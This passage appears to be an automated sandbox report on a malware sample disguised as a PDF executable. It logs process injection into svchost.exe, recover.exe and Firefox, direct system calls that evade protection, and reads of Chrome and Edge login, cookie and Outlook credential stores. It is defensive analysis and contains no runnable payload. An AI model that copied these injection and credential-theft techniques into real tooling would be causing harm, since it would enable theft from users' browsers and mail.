Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366AAEE mov eax, dword ptr fs:[00000030h]	1_2_0366AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03686ACC mov eax, dword ptr fs:[00000030h]	1_2_03686ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03686ACC mov eax, dword ptr fs:[00000030h]	1_2_03686ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03686ACC mov eax, dword ptr fs:[00000030h]	1_2_03686ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03630AD0 mov eax, dword ptr fs:[00000030h]	1_2_03630AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03664AD0 mov eax, dword ptr fs:[00000030h]	1_2_03664AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03664AD0 mov eax, dword ptr fs:[00000030h]	1_2_03664AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03638AA0 mov eax, dword ptr fs:[00000030h]	1_2_03638AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03638AA0 mov eax, dword ptr fs:[00000030h]	1_2_03638AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03686AA4 mov eax, dword ptr fs:[00000030h]	1_2_03686AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363EA80 mov eax, dword ptr fs:[00000030h]	1_2_0363EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363EA80 mov eax, dword ptr fs:[00000030h]	1_2_0363EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363EA80 mov eax, dword ptr fs:[00000030h]	1_2_0363EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363EA80 mov eax, dword ptr fs:[00000030h]	1_2_0363EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363EA80 mov eax, dword ptr fs:[00000030h]	1_2_0363EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363EA80 mov eax, dword ptr fs:[00000030h]	1_2_0363EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363EA80 mov eax, dword ptr fs:[00000030h]	1_2_0363EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363EA80 mov eax, dword ptr fs:[00000030h]	1_2_0363EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363EA80 mov eax, dword ptr fs:[00000030h]	1_2_0363EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03704A80 mov eax, dword ptr fs:[00000030h]	1_2_03704A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03668A90 mov edx, dword ptr fs:[00000030h]	1_2_03668A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03656962 mov eax, dword ptr fs:[00000030h]	1_2_03656962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03656962 mov eax, dword ptr fs:[00000030h]	1_2_03656962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03656962 mov eax, dword ptr fs:[00000030h]	1_2_03656962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0367096E mov eax, dword ptr fs:[00000030h]	1_2_0367096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0367096E mov edx, dword ptr fs:[00000030h]	1_2_0367096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0367096E mov eax, dword ptr fs:[00000030h]	1_2_0367096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036D4978 mov eax, dword ptr fs:[00000030h]	1_2_036D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036D4978 mov eax, dword ptr fs:[00000030h]	1_2_036D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036BC97C mov eax, dword ptr fs:[00000030h]	1_2_036BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B0946 mov eax, dword ptr fs:[00000030h]	1_2_036B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03704940 mov eax, dword ptr fs:[00000030h]	1_2_03704940
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B892A mov eax, dword ptr fs:[00000030h]	1_2_036B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C892B mov eax, dword ptr fs:[00000030h]	1_2_036C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AE908 mov eax, dword ptr fs:[00000030h]	1_2_036AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AE908 mov eax, dword ptr fs:[00000030h]	1_2_036AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036BC912 mov eax, dword ptr fs:[00000030h]	1_2_036BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03628918 mov eax, dword ptr fs:[00000030h]	1_2_03628918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03628918 mov eax, dword ptr fs:[00000030h]	1_2_03628918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036BE9E0 mov eax, dword ptr fs:[00000030h]	1_2_036BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036629F9 mov eax, dword ptr fs:[00000030h]	1_2_036629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036629F9 mov eax, dword ptr fs:[00000030h]	1_2_036629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C69C0 mov eax, dword ptr fs:[00000030h]	1_2_036C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0363A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0363A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0363A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0363A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0363A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0363A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036649D0 mov eax, dword ptr fs:[00000030h]	1_2_036649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036FA9D3 mov eax, dword ptr fs:[00000030h]	1_2_036FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036429A0 mov eax, dword ptr fs:[00000030h]	1_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036429A0 mov eax, dword ptr fs:[00000030h]	1_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036429A0 mov eax, dword ptr fs:[00000030h]	1_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036429A0 mov eax, dword ptr fs:[00000030h]	1_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036429A0 mov eax, dword ptr fs:[00000030h]	1_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036429A0 mov eax, dword ptr fs:[00000030h]	1_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036429A0 mov eax, dword ptr fs:[00000030h]	1_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036429A0 mov eax, dword ptr fs:[00000030h]	1_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036429A0 mov eax, dword ptr fs:[00000030h]	1_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036429A0 mov eax, dword ptr fs:[00000030h]	1_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036429A0 mov eax, dword ptr fs:[00000030h]	1_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036429A0 mov eax, dword ptr fs:[00000030h]	1_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036429A0 mov eax, dword ptr fs:[00000030h]	1_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036309AD mov eax, dword ptr fs:[00000030h]	1_2_036309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036309AD mov eax, dword ptr fs:[00000030h]	1_2_036309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B89B3 mov esi, dword ptr fs:[00000030h]	1_2_036B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B89B3 mov eax, dword ptr fs:[00000030h]	1_2_036B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B89B3 mov eax, dword ptr fs:[00000030h]	1_2_036B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036BE872 mov eax, dword ptr fs:[00000030h]	1_2_036BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036BE872 mov eax, dword ptr fs:[00000030h]	1_2_036BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C6870 mov eax, dword ptr fs:[00000030h]	1_2_036C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C6870 mov eax, dword ptr fs:[00000030h]	1_2_036C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03642840 mov ecx, dword ptr fs:[00000030h]	1_2_03642840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03660854 mov eax, dword ptr fs:[00000030h]	1_2_03660854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03634859 mov eax, dword ptr fs:[00000030h]	1_2_03634859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03634859 mov eax, dword ptr fs:[00000030h]	1_2_03634859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03652835 mov eax, dword ptr fs:[00000030h]	1_2_03652835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03652835 mov eax, dword ptr fs:[00000030h]	1_2_03652835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03652835 mov eax, dword ptr fs:[00000030h]	1_2_03652835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03652835 mov ecx, dword ptr fs:[00000030h]	1_2_03652835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03652835 mov eax, dword ptr fs:[00000030h]	1_2_03652835

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B381F7 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00B381F7

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B0A395 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_00B0A395
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B0A364 SetUnhandledExceptionFilter,		0_2_00B0A364

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtCreateKey: Direct from: 0x76F02C6C	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtSetInformationThread: Direct from: 0x76F02B4C	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtQuerySystemInformation: Direct from: 0x76F048CC	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtOpenSection: Direct from: 0x76F02E0C	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtSetInformationThread: Direct from: 0x76EF63F9	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtCreateFile: Direct from: 0x76F02FEC	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtOpenFile: Direct from: 0x76F02DCC	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtQueryInformationToken: Direct from: 0x76F02CAC	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtTerminateThread: Direct from: 0x76F02FCC	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtOpenKeyEx: Direct from: 0x76F02B9C	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtSetInformationProcess: Direct from: 0x76F02C5C	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtCreateMutant: Direct from: 0x76F035CC	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtMapViewOfSection: Direct from: 0x76F02D1C	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtResumeThread: Direct from: 0x76F036AC	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtReadFile: Direct from: 0x76F02ADC	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtDelayExecution: Direct from: 0x76F02DDC	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtQueryInformationProcess: Direct from: 0x76F02C26	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtResumeThread: Direct from: 0x76F02FBC	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	NtCreateUserProcess: Direct from: 0x76F0371C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\recover.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: NULL target: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: NULL target: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\recover.exe

Thread register set: target process: 1360

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\recover.exe

Thread APC queued: target process: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2B75008

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B38C93 LogonUserW,

0_2_00B38C93

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00AE3B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00AE3B4C

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00AE4A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00AE4A35

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B44EF5 mouse_event,

0_2_00B44EF5

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\SC_TR11670000_pdf.exe"	Jump to behavior
Source: C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe	Process created: C:\Windows\SysWOW64\recover.exe "C:\Windows\SysWOW64\recover.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

0_2_00B381F7

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B44C03 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00B44C03

Source: SC_TR11670000_pdf.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: SC_TR11670000_pdf.exe, oCCZhsVsNwIIN.exe, 00000002.00000002.4204728931.0000000001741000.00000002.00000001.00040000.00000000.sdmp, oCCZhsVsNwIIN.exe, 00000002.00000000.1840307551.0000000001740000.00000002.00000001.00040000.00000000.sdmp, oCCZhsVsNwIIN.exe, 00000007.00000000.1993242708.0000000000FE1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: oCCZhsVsNwIIN.exe, 00000002.00000002.4204728931.0000000001741000.00000002.00000001.00040000.00000000.sdmp, oCCZhsVsNwIIN.exe, 00000002.00000000.1840307551.0000000001740000.00000002.00000001.00040000.00000000.sdmp, oCCZhsVsNwIIN.exe, 00000007.00000000.1993242708.0000000000FE1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: oCCZhsVsNwIIN.exe, 00000002.00000002.4204728931.0000000001741000.00000002.00000001.00040000.00000000.sdmp, oCCZhsVsNwIIN.exe, 00000002.00000000.1840307551.0000000001740000.00000002.00000001.00040000.00000000.sdmp, oCCZhsVsNwIIN.exe, 00000007.00000000.1993242708.0000000000FE1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: oCCZhsVsNwIIN.exe, 00000002.00000002.4204728931.0000000001741000.00000002.00000001.00040000.00000000.sdmp, oCCZhsVsNwIIN.exe, 00000002.00000000.1840307551.0000000001740000.00000002.00000001.00040000.00000000.sdmp, oCCZhsVsNwIIN.exe, 00000007.00000000.1993242708.0000000000FE1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B0886B cpuid

0_2_00B0886B

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B150D7 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00B150D7

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B22230 GetUserNameW,

0_2_00B22230

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B1418A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00B1418A

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00AE4AFE GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_00AE4AFE

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.4206800241.0000000004BF0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4204068794.0000000002F70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4205129970.0000000003620000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4205169396.0000000003670000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1923090053.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1924622437.0000000005730000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1924200724.00000000039A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4204999427.0000000002DB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\recover.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\recover.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\recover.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: SC_TR11670000_pdf.exe	Binary or memory string: WIN_81
